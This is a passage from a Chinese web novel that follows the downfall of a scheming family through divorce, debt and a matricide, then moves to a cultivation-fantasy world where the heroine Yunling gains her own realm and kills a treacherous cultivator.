“那现在人家打上门了,你打算怎么办?”稻梅的声音依旧平静。
朴为德涨红了脸,“稻梅,你,你看能不能先跟你爸借点钱,我给他打欠条,以后我的工资不寄回家了,都交给你,直到把钱还完,你看行吗?我知道我混账,给你们添了大麻烦,可他们既然找上门来了,如果不还钱,我怕他们闹到公司去,影响了爸的生意。”
稻梅点点头,“还是你想得周全,我现在就去跟我爸要钱,你把欠条准备好。”
“当然当然,没问题。”朴为德唯唯诺诺地跟在她后面,送她出门,转头露出一脸得逞的微笑,“哈哈,饶你奸似鬼,喝了洗脚水。”
他刚才有点忐忑,因为稻梅的态度不寻常。
他本来预料稻梅会哭闹、怒骂,甚至上来打他。没想到她居然如此平静,顺顺当当去找她爸要钱了。
看来这个娇小姐真是被吓坏了。
也对,她在温室娇养惯了,没见过什么风浪!郝父是个生意人,也不愿意惹麻烦,这钱眼看就能到手了!
他又给艾侽打了个电话,叮嘱她如果稻梅打电话给她,她可千万不能说漏。
艾侽自然是千肯万肯。
朴为德美滋滋地倒在沙发上,等着稻梅拿钱来。
等啊等啊,几个小时过去了,直到日头偏西才有开门的动静。
朴为德迎上去,“稻梅,你辛苦了——?”
跟稻梅一起回来的,还有郝父、郝母,朴为德慌了,捏了两下衣角,“爸,妈,你们来啦。”
郝父面沉似水,“我们来谈谈你和稻梅的事。”
朴为德鞠了一躬,“让爸妈费心了,都是我想岔了,给你们添了这么大麻烦。其实咱们一家人有什么不好说的?我有事应该先找你们才对。爸,妈,你们帮我过了这个难关,我以后就是你们的亲儿子。我一定好好对稻梅,好好给公司干活儿来报答你们的恩情。”
都到这地步了,朴为德咬牙忍着膈应,奉承话不要钱似的往外蹦。
郝父眼里闪过嘲讽,“你可真是个孝子,为了从我们这儿弄钱,不惜咒你妈得了绝症,你就不怕她被你咒的真倒霉了?”
朴为德惊疑不定,“爸,你说什么呢,我怎么会咒我亲妈呢?她真的生病了。”
“哦,那既然亲家母生病了,你把她病历拿来吧,我去找个好医生给她看看。”
朴为德冷汗下来了,“我二哥一直瞒着我妈,怕她知道开了这么贵的药,偷偷把病历扔了。再说她这个病也治不了,只能吃药维持,到哪儿看都白搭。”
郝父冷笑,“你真能编瞎话啊,我看亲家母是病了,是把人家孩子害死得的心病!”
朴为德一个机灵,惊恐地望向岳父。
稻梅看着他,目光像淬了毒的针,“我都问清楚了,你妈根本没事,只是她害死了李招娣的孩子,人家要她赔钱,如果不赔钱就去告她。你为了保住她,竟然不惜借高利贷,想逼着我拿钱,真是好算计!”
发生了之前的事,朴为德在她那里的信用已经为零了。
朴为德想到她会去核实,但没想到她连朴为德都信不过了,又怎么会信艾侽和朴为善?
稻梅偷偷给胖婶儿打了电话,她们留了联系方式,朴为德根本不知道。
胖婶儿接到电话,竹筒倒豆子似的全说了,“你婆婆生病借钱?没听说,没有的事儿。哎呀,村子就这么大,谁家有事儿大伙儿都门儿清,她绝对没病。不过,她弄掉了李招娣的孩子,李招娣不干了,嚷着离婚,还让她赔钱,啧啧,足足五十万呢。”
胖婶儿绘声绘色把事情讲了一遍,稻梅心里就有数了。她对朴为德的面门甩出几张纸,“我们离婚吧。这是离婚协议,你签个字。”
“不是,稻梅,咱们怎么就到了离婚的地步了?就因为我欠了钱,你就要跟我离婚?”
现在的女人都怎么了,非得这么现实吗?亏他以为稻梅是个重感情的人,竟然也看错了。她们家又不缺钱,至于因为这点钱,就毁了一个家庭吗?
“你如果是正当理由欠的,我会跟你共度难关。可你先是包庇你妈犯错,然后借着高利贷从我这讹钱,真是居心叵测!我可不想被枕边人算计,你们这样的人家我也高攀不起,还是一拍两散吧!”
不行!这怎么行呢!他跟稻梅没什么婚后财产,如果离婚,他马上就会被打回原形,变回那个农村穷小子。这让他怎么受得了!
“爸,妈,你们快劝劝稻梅吧,别让我们离婚啊。我就是走错了路,谁不会犯错呢?大不了,钱我不用你们还了,我自己来想办法。别人要是知道稻梅因为钱跟我离婚,对她名声也不好啊!”
郝母上前兜头啐了他一口,“你还嫌欺负我女儿欺负的不够吗,还敢来败坏她的名声!早知道你家都是这种败类,我绝不会把女儿嫁给你!你给我马上签字,然后滚出去!”
郝父的声音里带着一丝失望和决绝,“当初你们结婚,我没有反对,因为我始终相信,英雄不问出处。只要你踏实肯干,真心对待稻梅,我就心满意足了。但你连这样基本的要求都做不到,实在让我太失望了。你们还是离婚吧,谁也别耽误谁了。”
郝父自己也是白手起家,从没因为出身贫寒而轻视朴为德,反而对他多有关照,希望他能知恩图报,与稻梅好好生活。然而,现在看来,他真的是看走了眼。
面对三人愤怒的目光,朴为德意识到,事情已经无可挽回。他曾想过最坏的结果,如果实在无法挽回,也只能破釜沉舟。
他擦了擦脸,声音中带着一丝决然,“你们非要离婚也行,但话得说明白,我借的钱是婚后共同债务,你们得负责还清。还有,我这些年为你们家卖命,你们至少得给我十万块青春补偿费。”
他这副无赖的嘴脸,让稻梅感到极度厌恶,“你还是不是男人!这些年你的工资大半都寄给了你妈,剩下的你自己都不够花,一直都是我在养你。你居然还有脸要补偿费!我当初真是瞎了眼!”
朴为德摆出一副死猪不怕开水烫的样子,任由她责骂。
稻梅越看越气,但她知道的脏话有限,也骂不出什么新花样。
郝父伸手拦住她,冷静地对朴为德说:“你以为你欠了点钱,我们就拿你没辙,只能乖乖替你还了?年轻人,别太天真了。我们来之前已经咨询过律师了,你借钱时稻梅并不知情,而且这些钱也没用在你们共同生活上。你急着帮你妈还钱,拿到钱就给她汇过去了,这就是证据。就是到了法院,也不会判稻梅还钱。”
“如果你要打官司,我们奉陪。正好老薛憋了一肚子气没地方出呢。就是不知道借你钱的人,能不能等这么久?如果你们好聚好散,大不了以后就当不认识。如果你非要撕破脸,咱们也可以试试。我在这个城市里混了大半辈子,还是认识几个人的。”
郝父不紧不慢的几句话,让朴为
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德的额头上冒出了冷汗。
郝父从白手起家打拼到现在,自然不会没有手段。以前是因为把他当自己人,才睁一只眼闭一只眼。
看他动摇了,郝父趁热打铁,“你还年轻,乖乖离婚,过了这个坎儿,以后未尝不能有自己的事业。可你要是纠缠不清,恐怕就不好收场了。这样吧,你如果同意离婚,你刚谈成的那笔单子,我就给你一万块奖金,当给你的生活费了。”
谈成单子是有奖金,但从来没有这么高的,郝父这是想拿点钱打发他呢!
郝母不满地说:“怎么还要给他钱?”
郝父拍拍她的肩,示意她稍安勿躁。当务之急是把朴为德这个恶心人的玩意儿甩开,他欠了这么多钱,以后有的是罪受!
唾手可得的一万块钱吸引了朴为德,既然郝家不可能帮他还钱,那不如先把眼前的钱拿到手。
他咽了口唾沫,“好,我同意离婚!”
……
朴为善在地里忙活了半天,腰都快直不起来了。他饥肠辘辘地顶着大太阳回家,推开厨房的门,早上吃完的脏碗筷还堆在那里,锅里更是空空如也,没有一颗米下锅。
空空的胃升起一阵绞痛,他愤愤地扔下锅盖,走出厨房,“哗啦”一声,差点被旁边的一大盆脏衣服绊个跟头。
脏衣服堆在这儿几天了,发出股霉味。
“别动别动,我那衬衫几百块呢,只能手洗的。”
朴为德听见动静,从屋里出来,外面阳光足,刺得他眯起眼睛,“哥,你回来啦,快点做饭吧,我都饿了。”
朴为善太阳穴直蹦,“你还有脸说饿?我伺候妈也就算了,你个大男人有手有脚的,凭什么指着我伺候?我都不让你种地了,连做个饭都不行了?”
没想到老实巴交的朴为善居然敢训他,朴为德斜乜着眼,“这农村的灶台我哪会用啊,妈也没让我干过呀!再说,我还得准备考试呢,不能把时间浪费在这上头。”
说辞无比熟悉,朴为善觉得仿佛时光倒转,回到朴为德读高中的时候,艾侽为了让他考上大学,差点打个板儿把他供起来。
连带着朴世仁和朴为善都成了他的奴才,被他指使得团团转,稍不顺从,他就祭起读书这面大旗,艾侽就会劈头盖脸地骂他们,逼得他们掐着手指算日子,比朴为德更盼着高考。
一晃多年过去,竟然还要再过之前的日子!
“你就算要考啥研究生,也不见得这点工夫都拿不出来。都几个月了,我除了种地,还得给你做饭洗衣收拾屋子,就算老妈子也没这么干的吧?再说,你考不考上都是你自己的事,我凭啥得伺候你?你考上大学了,我也没沾啥光!”
别以为他不知道,朴为德就是拿读书当幌子,也就能骗骗他妈。他好几次突然进了朴为德的屋,发现课本摊在桌子上,朴为德不是在睡觉,就是在读小说,就是没有老老实实念书的时候。
再说,朴为德之前考上大学工作了,也就是寄点钱给艾侽,他可一点儿好处都没捞着。现在他都落魄了,还要回来装大爷,凭什么!
朴为德气得龇牙,“你说话真丧良心,要不是出了我这个大学生,你们能在村里这么威风?要不是你老婆讹咱家的钱,我能和稻梅离婚,还欠了一屁股债不敢出门吗?”
“你说谁老婆?我跟李招娣已经离婚了,她跟我没关系!她要钱也是因为妈推了她,这事你跟我说不着!”
朴为善和朴为德恶狠狠地瞪着,好像两条恶狗,随时能撕咬在一起。
“哎呦呦,你们吵什么,还不够别人笑话的?”艾侽呆不住了,只能出来阻止。
她现在三个儿子都离婚了,老三还欠了这么多债,他们家已经成了村里的笑柄,弄得她都不敢出门了。
隔壁那个肥婆子还隔着院子笑话她,哼,等老三考上研究生,又成了上等人,她一定撕了这婆子的嘴。
她其实不知道什么是研究生,只知道那比大学生还厉害,估计能跟县长比个来回吧。
听到两个儿子吵架,她本来不想管,可他们吵着吵着竟要扯到她身上,这她可坐不住了,赶紧出来喊停。
47. 团宠世界
“老二啊,你是做哥哥的,别跟你弟弟计较。他刚离了婚,还背着那么大笔债,心情肯定不好。你就多干一点儿,让他集中精神看书,等他考中了,咱家就又能翻身了,说不定还能把我们接到城里住呢。”艾侽眯起眼,脸上露出一丝憧憬,仿佛已经看到了那个美好的未来。
“妈,谁家学习就一点活儿都不能干了?村长的孙子也在外读大学,寒暑假不照样帮家里干农活吗!你不能再惯着老三了,他太游手好闲了。”朴为善的声音里带着不满和疲惫。
“啪!”艾侽照他后背重重拍了一下,虎着脸,“不许这么说你弟弟,他是要考状元的人,咱家还指望着他光宗耀祖呢。你要是看他不顺眼,你倒是去考个回来呀,到时我保证让他伺候你。你说对了,他还就是我惯的,怎么了?这个家你要是待不下去就别待!”
她拉着朴为德的手走了,朴为德还回头轻蔑地瞥了朴为善一眼。
朴为善愣在那里,好像没了知觉,半天才挪动步子。
他连怎么进的屋都不知道,也觉不出饿了。这些天他其实是怕回家的,白天还好,到了晚上,空荡荡的屋子让他心里发慌。
一闭上眼他就想起李招娣,好像还能听到婴儿的哭声。可能他都没意识到,他对李招娣的感情,比他以为的更深。
只是他从来也没想过,李招娣会离开自己,所以也从不去珍惜。
那天他翻地,听人说李招娣又相亲了,跟对方处得不错,可能不久就要办喜事了,他借着弯腰,把满脸的泪水擦了。
他忍不住想,如果那天他妈没推李招娣,是不是那个孩子也该降生了,正嗷嗷待哺。要是那样,他每天务农回来,开门就见到白乎乎的大胖小子,李招娣手脚麻利地忙里忙外,关心他今天累不累。
想想就觉得,真是神仙般的日子。如今,他为了他妈妻离子散,连他妈害了他的孩子,他都不计较了。
他受了这么大委屈,他妈就像拍拍身上的灰尘一样,转眼就抛到脑后了。就连他说老三两句,他妈都要骂他!
其实他妈就没责任吗?他要种地,老三要念书,那她又干什么了?她就不能下厨做饭吗?
他妈年纪不算大,身体也没什么毛病,村里像她这样的老太太都还下地干活儿呢,她怎么就连饭都不能做了呢?他要种地,还得回来做饭,所有的担子都是他在挑,就为了照顾两个手脚齐全的大活人。
凭什么?难道他就比别人低贱吗?
朴为善越想越气,这个家既然容不下他,他也不想呆了,不如出去打工,既能挣点钱,还能离开糟心的环境。
也让他见识见识,离了他,他妈和老三能把日子过成什么样!他东西本就不多,收拾了几件衣服和日用品,给他妈留了张纸条,他推开院门,融到了漆黑的夜色里。
日上三竿,艾侽都没听到朴为善来叫她吃饭。
她气哼哼去推门,屋里空荡荡的,被子好像也没动过,再一看纸条,顿时魂儿都丢了。
她不就说了朴为善几句吗?他怎么气性这么大!家里人已经越来越少了,他要是再走了,日子可怎么过!艾侽急忙去喊老三,让他去把老二追回来。
朴为德不情愿,但又不能不去,毕竟二哥可是他身边最大的劳力。
他嘀咕着出了门,没等到村口,就惊慌失措跑回来,“妈,他们追过来了!”
“谁呀?”
“还有谁,我欠债的那些人呐,我看见他们在村口晃悠了,还打听咱家在哪儿呢,他们怎么找到这儿的?”他不喜欢别人知道他的出身,从来不提家在哪儿的。
朴为德慌得像没头的苍蝇,转了几圈儿,猛然停住,“不行,我得马上走,他们很快就能找过来,到时就走不了了。这些人可不是善茬,要是被他们找到,我就完了!”他从被褥中掏出最后一点钱,数了数揣好,然后就要跑。
艾侽一把拉住他,“老三,妈身边就剩下你了,你不能丢下妈呀,那些人找上门,还不得把我这把老骨头拆了呀!”
“妈,你别害怕,钱又不是你借的,只要你咬死我一直没回来,他们不能把你怎么样的。倒是我,如果被他们抓住可就惨了。妈,你放心,我在外面挣了钱就给你寄回来。你松手!”朴为德用力挣扎,最后居然狠狠把他妈推倒在地,头也不回地跑了。
“你,你这个不孝的,呜呜……”艾侽捂着摔疼的胳膊,又气又怕,大哭起来。
“砰砰砰。”敲门的声音传来,艾侽吓得不敢哭了,战战兢兢地问,“谁呀?”
“是我,开门。”艾侽耳朵立起来,这动静咋这么耳熟,好像是……
她爬起来几步过去打开门,愣住了。门口站着个黝黑憔悴的男人,正是朴世仁。
艾侽瞬间有了主心骨儿,扑上去抱住泪如雨下,“老大呀……”
……
艾侽以为,跑了两个儿子,又回来一个,身边还是有人孝敬她,她的日子不会有太大改变。事实证明,她想的太美了。
朴世仁的性子变了很多,对着外人他好像吓破了胆,随便过来个孩子踹他一脚,他都不敢吱声。
要债的找上门,他像个鹌鹑,甚至想把艾侽推到前面挡着。亏了胖婶儿看事情不对,悄悄打电话报警,才把那些人赶跑了。
别看朴世仁在外面窝囊,可对着艾侽全是能耐。
他坐牢,艾侽除了头两个月看过他几次,后来就再也没去过,让他深深记恨上了。
不管艾侽怎么跟他解释,之后家里的事情一桩跟着一桩,实在顾不上去看他,可他就是听不进去,天天找茬和艾侽吵架。
而且,他好像变得不敢见人了,也没跟艾侽商量,就把地租了出去,也没要多少租金。他平时就在屋里一趟,等着艾侽给他把饭端到床边。
艾侽再想不干,朴世仁可不惯着她,愣是一盆冷水把她浇个透心凉。
艾侽还想着,是不是给他娶个媳妇就好了。可一提这事,朴世仁就像被踩了尾巴的狗,骂人骂的青筋都蹦起来了。
他新学了不少词,骂的那些话艾侽听着都脸红,再也不敢提娶媳妇的事了。
艾侽的日子一落千丈。
终于有一天,她没忍住,和朴世仁大吵了一架。两人都往对方的心窝子捅,朴世仁说艾侽是杀人犯,艾侽则骂朴世仁“臭劳改
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”。
越说火气越大,直到艾侽骂朴世仁是“太监”。
艾侽的话终于点着了火药桶。
朴世仁头脑发热,拿起劈柴的刀狠狠砍了过去。
艾侽做梦也没想到,她的命会丢在大儿子手里。
朴世仁顶着满脸血,呆愣了半天,才如梦初醒一般,洗干净脸,换了身衣服,把家里所有的肉炖了一锅,吃饱喝足一抹嘴,自首去了。
艾侽的后事办得很潦草,是村里的远亲给她张罗的。
事情传到云灵耳朵里,她满是讥讽地一笑而过。
果然,只要撤掉这家人往上爬的梯子,他们关起门来,自己就能把自己干嚼了。
谁让他们一个比一个自私凉薄呢!
时光飞逝,一晃二十年过去了,云灵依旧租着房子生活。
买股票赚的钱,她留了丝许之外,按照以前的模式,通通捐给国外的动物保护组织。
这天,云灵在逛街时,不小心踢到环卫工清扫好的垃圾,云灵跟他道歉,环卫工人也惴惴不安地抬头跟她道歉。
四目相对时,环卫工人愣住了,云灵看他也有点眼熟,但活了二十年的狗子在那不满的哼哼,来不及细想的她,只好推着这陪伴了二十年的老家伙离开了。
身后,环卫工人看着她的背影,眼神复杂。
这个从前的大嫂认不出他了!也难怪,他也差点没认出云灵。
他大嫂现在穿着的都是定制名牌,岁月威力好像没在她身上呈现,甚至比当年看着还年轻漂亮。
朴为德心里的酸涩都快溢出来了。
曾几何时,他坐在明亮干净的办公室里,处处高人一等,怎么竟落到这个地步了!
事情的转变,好像就是从云灵变了开始的。
旁边传来一声咳嗽,打断他的思绪。
不用回头,朴为德就知道是他二哥。世界还真小,他做了环卫工后,发现他二哥竟然也在这儿,分的责任区还跟他挨着。
刚开始他们绷着面子,互不理睬。
时间长了,慢慢缓和了关系,也能聊几句了,有时下班还能约着一起喝两口。
毕竟他们都太孤独了。
跟朴为德不同,朴为善倒不是不敢露面,而是到了南方工地打工,不知道保养身体的他,累出了毛病,不能再干重活儿。
工地上做饭的女人细心照料他,让他重拾了成家的念头。可一天傍晚,那个女人卷了他所有的积蓄跑了。
他到处打听才知道,女人的相好不止他一个,留的姓名和老家地址也都是假的。
朴为善心灰意冷,回来才知道艾侽竟然被朴世仁杀了,朴世仁也被判了死刑。
他更没了指望,到城里当了环卫工,有今天没明天的混日子。没想到兜兜转转,还是他们哥儿俩碰到了一起。
“喂,你瞎寻思什么呢?人家的日子跟咱无关了。你再不快点,活儿就干不完了。”朴为善的话让他回过神,自嘲地笑了笑,重新挥动起笤帚。
对呀,跟他无关了……
云灵在这个世界待了百年,赚了不少功德之后,才回竹屋小院……
48. 修行世界
云灵回到竹屋小院,却见眼前景象已翻天覆地,变化惊人。
只见茫茫草原,碧草如茵,生机勃勃,一眼望不到边际。
云灵心中惊诧,却能感知其广阔无垠。
在她脑海里呈现的,竹屋小院是草原的心脏之地,而不远之处,一条清澈见底的溪流蜿蜒而过。
“神祇宝典,这究竟是何等变化?”云灵迷茫之中,不禁问道。
“这个世界,是我为你演化而来,而你,便是这个世界的主宰……”
随着神祇宝典显化的字体,云灵渐渐明白了这一切,心中惊叹不已。
这个世界拥有层层叠叠的山脉,茫茫草原,飞禽高歌,走兽奔腾,游鱼嬉戏,构成了一个天圆地方的世界,方圆达百万公里,面积达万亿平方公里。
云灵,作为这个世界的主宰,只需意念微动,便能去往任何地方。
然而,这个世界中未曾存在之物,却无法凭空而生。
她必须在脑海中细致勾勒,天道方能按照她的意志演化。这对想象力匮乏的云灵而言,无疑是一种折磨。
比如,她想要一件衣物,就必须在脑海中构造出衣物的材质、原料、制作原理、外观、尺寸等,这无异于在脑海亲自创造一种物体。
这个世界的规则完善,云灵虽为主宰,却非天道,因此无论做什么,都需天道相助,不能逾越。
神祇宝典赠予她如此大礼,云灵心满意足。
如今,她已拥有一个世界,成为真正的富婆,这比话本中那些拥有空间之人,不知高端了多少倍。
而且,她还是这个世界的主宰,这里的一切,尽归她所有。
云灵喜不自胜,时而出现在山脉之巅,时而出现在野兽之前,时而置身于无尽海域……
她玩得不亦乐乎,直到神祇宝典再次显化文字——“下一个世界是真实世界,你可修炼。”
得知此事,云灵收起了玩乐之心。
真实世界,也意味着她可以按照神祇宝典赋予的修炼法门,开始真正的修炼了。
云灵的心中,既有期待,也有紧张。
云灵依照神祇宝典所载的修炼法门,盘坐在绿草如茵的草地上,开始了她的修炼之旅。
呼吸之间,无尽能量自她周身毛孔涌入,迅速转化为神力。
这股神力在她经脉中游走一周天后,云灵依照《神祇宝典》所载,一遍又一遍地将神力压缩锤炼。
百次锤炼之后,她才让这些锤炼过的神力缓缓流淌入丹田之中。
这修炼法门不仅能吸纳诸般能量,自动炼化成神力,而且自入道之后,便能时刻运转,自动压缩锤炼。
除非云灵主动停止修炼,否则她无需刻意去修炼。
当云灵从修炼的沉浸中回过神来,一股刺鼻的恶臭扑鼻而来。她皱起眉头,看着身上厚厚的污渍,心中明白,这是入道之后的洗精伐髓,将体内的杂质尽数排出的结果。
云灵立刻起身,向溪流奔去。
她轻功一展,如鬼魅般迅捷,转眼间便跃入了清澈的溪水中。
经过一番搓洗,云灵从溪流中轻轻一跃而出,轻盈地落在了草地上。
入道之后,云灵便自然而然地掌握了两门神通,一门名唤神祇真眼,一门唤作凤女神火。
这两门神通无需刻意修炼,便已达到了圆满境界。
神祇真眼拥有能看透一切草木的未来,预知它们是否能够产生灵智。若草木有灵智,云灵便不得采摘,更不得教唆别人采摘或毁坏它们。
此外,神祇真眼还能看穿一切虚幻,回归事物的本真,也能洞察对手的修为境界,无论对方修为如何高深。
《神祇宝典》要求有缘者修心、修德、仁爱万物。这神祇真眼,也是为了避免她们在无意中伤害到那些有灵智的草木生灵。
另一门天赋神通则是——凤女神火,据神祇宝典记载,凤女神火与法则之火相比,丝毫不让,远超规则之火与各种火焰。
这凤女神火,亦是无需修炼,云灵驱使它的效果便是圆满境界。
时光如梭,五年光阴转瞬即逝。
在这五年中,云灵一边修炼一边修习天罗地网式。
云灵的天罗地网式,参悟得愈来愈深,对于它,也越来越敬畏。
任何武学招式,都是由简入繁,云灵在修炼之余,还尝试了神力的攻击手段。
例如,她用神力幻化出手掌,轻轻一捏,便能让巨石如同豆腐般轻易碎裂。
她还能直接用神力发动攻击,如同金庸武侠小说中的六脉神剑,或现实生活中的机枪,只要她不收手,神力便源源不绝,攻击不止。
云灵觉得使用神力的方式不够美观,于是她以古墓派美女拳法为基础,创制出了各种优美的身姿与手势。
在使用神力时,让她的动作宛如舞蹈,既美妙又致命。
******
灰狼山脉,因其独有的灰狼妖兽而得名。
这些妖兽狡猾异常,擅长群体作战,对于偶遇它们的修士来说,往往是凶多吉少。
练气期的修士们通常只在山脉的外围活动,那里的妖兽大多是一阶,与练气期修士的修为相仿。
只要修士们保持警惕,通常不会遇到太大的危险。
山脉的内围却是人迹罕至,因为那里盘踞着更为强大的二阶妖兽,即便是经验丰富的修士,也可能随时丧命。
因此,大多数修士宁愿选择安全,不愿轻易踏入内围。
这一日,灰狼山脉的内外交界,两个男子将一位老者逼至悬崖之边。
老者身上散发出一股腐朽的气息,而两名男子,一位是穿着棕色长袍、略显年迈的中年人;另一位则是个年轻的男子。
他们将老者逼至断崖之边。
青年冷冷地提醒道:“陈道友,你已无路可走。识相点,交出你此次所得,我们不想与你为难。”
老者望了望身后的断崖,警惕地看着两人,反驳道:“两位道友,这是何意?若非我精通阵法破解之术,你们怎能得到那么多宝物,还能安然无恙地退出?我只是取了我应得的份额,你们也是同意的。为何一出洞府,你们就反悔了?”
“我曾多次救你们于危难之中,你们却如此忘恩负义,未免太过贪婪。”
中年人冷笑一声,道:“数次救我们,还不是因为人多力量大。若我们两个死了,凭你的实力,你以为你能独自逃出生天吗?说白了,你也是在为自己考虑。”
“看在你曾救我们的份上,留下宝物,我们便不为难你。”
老者摇了摇头,“这些资源对我同样重要,我不能交给你们。”
青年威胁道:“既然如此,那就别怪我们不客气了。”
他向中年人使了个眼色,两人随即摆出了夹击的架势。
老者心中明白,这两人的实力都胜过他。他不过是炼气七层,而对方都是炼气九层,他根本不是对手。
权衡再三,他最终选择了妥协。他知道,若不交出宝物,对方也会强行夺取,自己甚至可能因此丧命。虽然这些资源对他至关重要,但若命都没了,一切便化为乌有。
他直视两人,问道:“如果我交出这次的所得,你们就会放我离开,对吗?”
中年人回答道:“没错,我们只要你这次的所得。”
而青年的目光闪烁,沉默不语,心中似乎在盘算着什么。
老者闻听中年人的确切答复,便从储物袋中取出了此次所得的宝物,其中,两株是珍贵的养灵草,三株则是聚灵草。
养灵草,虽仅是黄阶灵药,对练气期的散修而言,却是不可多得的宝物。其他散修若见此,恐怕也会不惜杀人夺宝。毕竟,对这些散修来说,修炼资源是何等稀缺。
老者将所有所得一一展示,沉声道:“这下你们满意了吧?给我让开一条路。”
中年人见他如此识相,便主动让开,冷冷说道:“你可以走了。”
老者不再多看地上的灵药一眼,转身快步离去。
然而,就在他经过青年时,异变突生。
青年突然对他出手,尽管他有所警觉,但距离过近,他只感到后腰一痛,随即无力地瘫倒在地。
他惊怒交加地看着青年,而中年人也露出诧异之色,不解他此举何意。
青年却毫不掩饰自己的杀意,对中年人说:“斩草不除根,春风吹又生。这点道理,你难道不懂吗?”
中年人略作犹豫,沉吟道:“看他样子,不如就此放过,反正他也活不久了。”
青年冷哼一声,“冯道友倒是好心,你也不想因为他与我为敌吧?”
青年这是
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赤裸裸的威胁,中年人在青年人与老者之间,毫不犹豫地作了选择。
他走上前,在老者惊怒交加的眼神中,一掌将他毙命。
为了这老者与青年为敌,实在不明智。
青年点头,"道友果然作了选择,这样吧,这些灵药你选三株,我得两株。"
中年人大喜,自地上那五株灵药里,挑了两株养灵草,一株聚灵草。
突然,中年人感觉身体一疼,不由自主地倒在地上,双眼大睁,连死都不肯相信,青年居然会向他出手。
青年轻轻擦拭宝剑,道:“要怪,只能怪冯道友太过贪心。”
青年见中年人已死,便扯下他腰间的储物袋。正欲伸手去取老者的储物袋时,忽然耳边传来一声怒骂。
"神祇宝典,下次能否提前告知?我可不愿这般措手不及地被送出来..."
青年四下张望,寻找声音的来源。
只见半空中,一道身影从天而降,她身着草裙与草编束胸,露出了雪白的肌肤。
眼看她即将坠落,却见她翻身,正面朝下,数掌拍出。数道紫金光芒打在土地上。她借着这股反冲之力,轻盈落地,这一手段,令青年心神一震。
见这少女修为不过练气五层,青年心中不由生出了邪念。
他贪婪地盯着云灵,赞叹道:“仙子,你真是美得令人心醉。自从见到你,我便无法自拔,这身段,这肌肤,啧啧,真是令人着迷。”
环视四周,青年邪笑道:“看这景色如画,不如就在这里,与仙子共赴巫山如何?”
云灵落地,就听见了那浪荡之语。
她转身,见一青年目露淫邪,云灵立刻明白了一切,原来是这青年敢窥探她。
她怒火中烧,电光火石间,一脚将那青年踹飞。
"咳咳,你是谁?"青年被踹飞,撞断几棵树木,摔落后嘴里咳出数道鲜血,问道。
"是你姑奶奶!你也配窥探我?也不看看你那猥琐的样子,多照照镜子吧!"
云灵说罢,身法启动,犹如鬼魅,转瞬之间来到摔倒在地的青年身旁,将他提起,一拳出击,直接穿身而过。
光天化日之下,竟然对她污言秽语,想活都难。
况且,自从她入道,任何身怀罪孽的生灵在她面前都会散发出恶臭。
只要生灵作孽滥杀,在神祇眼前就会散发恶臭,罪孽越深,臭味越浑浊。
神祇得见,便予以抹杀。
神祇都是神魂身心纯净的,因此,越是纯净的生灵,越能得到神祇的喜爱;反之,则会受到神祇的厌恶。
云灵将青年击杀后,她的目光缓缓落在了散落在地的五株植物上。
这些植物散发着淡淡的能量,引起了她的好奇。她拾起一株,左看右看,却终究辨识不出其来历。
"这些究竟是何物?" 她心中暗忖,却因无法识得其真面目,只得将其轻轻放下。
她又感应到几个袋子,里面似乎也蕴含着能量。
云灵发现这些袋子竟是用某种生灵的胃囊制成。
她虽不知具体是何种生灵,但根据神祇宝典中的教诲,所有生灵都是平等的,无高低贵贱之分。
用生灵胃囊制成的袋子,即便使用者并非杀害者,也难免会有一丝罪孽加身。
只见这几个袋子上,罪孽之力流转,散发着令人作呕的恶臭。
云灵运使神力于手掌,这才扯下三个袋子,用神力隔绝了直接接触,不愿沾染。
她轻轻一挥手,神力涌动,轻易打开了袋子。
随着一阵划拉拉的响声,五千多个能量流转的石头、数个瓶子、数张画着图案的皮纸,还有几件衣物和十株植物,纷纷滚落出来。
云灵细心挑选,将那些没有罪孽之气的石头、宝剑、植物、瓶子一一扒拉到一边。
她挑了件干净的衣物穿上,虽然男子的衣物与她并不相称,但在此刻,她也顾不得那么多了。
她已感应出那些皮纸是由生灵的皮血所制,心中不禁生出一丝不忍。
她不愿沾染这些带有罪孽的物品,便将那三个袋子、皮纸以及多余的衣物一并扔到一边。
"就让一切罪孽,随火而逝吧。"
云灵召唤出凤女神火。转瞬间,那些物品连烟雾都没有散发,便消失不见。
49. 修行世界
云灵回到竹屋小院,心中对神祇宝典未经她同意便将她送离,颇有微词。
“下次让我离开之前,能否先告知一声?”云灵对神祇宝典抱怨道。
然而,神祇宝典依没有任何回应。
云灵早已习惯神祇宝典的高冷,也不再理会祂。
她意念一动,一只雪白的狐狸便出现在她的怀中。
云灵坐在竹榻上,轻抚着狐狸柔软的毛发,心中那一抹孤寂,因这小生命的温暖而稍稍缓解。
“云霞,送我离开吧!”云灵轻声呼唤。
这个世界已被她命名为云霞世界,而天道,便是云霞。
云霞听到云灵的呼唤,瞬间,云灵的身影便从竹院中消失了。
那只狐狸,对云灵的突然消失感到困惑,但转瞬间,它也被云霞送回了原来的地方。
云灵再次出现时,已站在一座高大城墙环绕的城池前。
“灰狼城!”云灵凝视着城门上那几个苍劲有力的大字,暗暗念道。
云灵是认不得这个世界的文字和语言的,但神祇宝典会让她能认能说。
“站住,入城费一枚下品灵石!”一个身着劲装的中年男子挡住了云灵的去路,语气颇为生硬。
云灵见这男子态度不善,脸色也沉了下来,指着前方推着货物的老汉质问道:“他为何不用交入城费?”
“他是凡人,你是修士,规矩就是这样,修士必须交入城费,不交就滚!”劲装修士见云灵敢反驳,语气更加恶劣。
福澜世界中,修士与凡人混居,各大宗门势力在各地建立了城池,城中设有两支护卫队:一支由修士组成,负责护卫城池和管理秩序;另一支由凡人组成,处理凡人间的事务。
凡人无需缴纳赋税,只需安心生活,享受城池势力的庇护,他们存在的意义,就是给各宗门势力提供弟子资源。
云灵见劲装男子态度恶劣,周围又聚集了几个同伙,正欲动手教训他们,却被一个小女孩及时拉住,低声劝道:“仙子姐姐,切勿动手。”
那小女孩上前,恭敬地向几位劲装男子行了一礼,道:“各位仙师,小女子这厢有礼了。兴许仙子姐姐初涉尘世,不谙规矩,还望海涵。”
劲装修士瞥了一眼小女孩,神色稍缓,说道:“也罢,这次便饶过。但她需交纳入城之费。”
小女孩又对那位态度恶劣的修士轻声细语说了几句好话,这才回到云灵身边,悄声道:“仙子姐姐,您可有灵石?”
“灵石是何物?”云灵一脸疑惑。
云灵不知灵石为何物,她心念一动,手心便多了一块圆润光泽的石头。除了内部含有一些杂质的能量外,似乎并无特异之处。
小女孩见状,惊喜道:“仙子姐姐,这便是灵石!”
云灵顿时明白,她轻轻一挥,灵石如同流星划过,稳稳落在那劲装男子的手掌中,云灵冷哼一声:“本姑奶奶自然有灵石!”
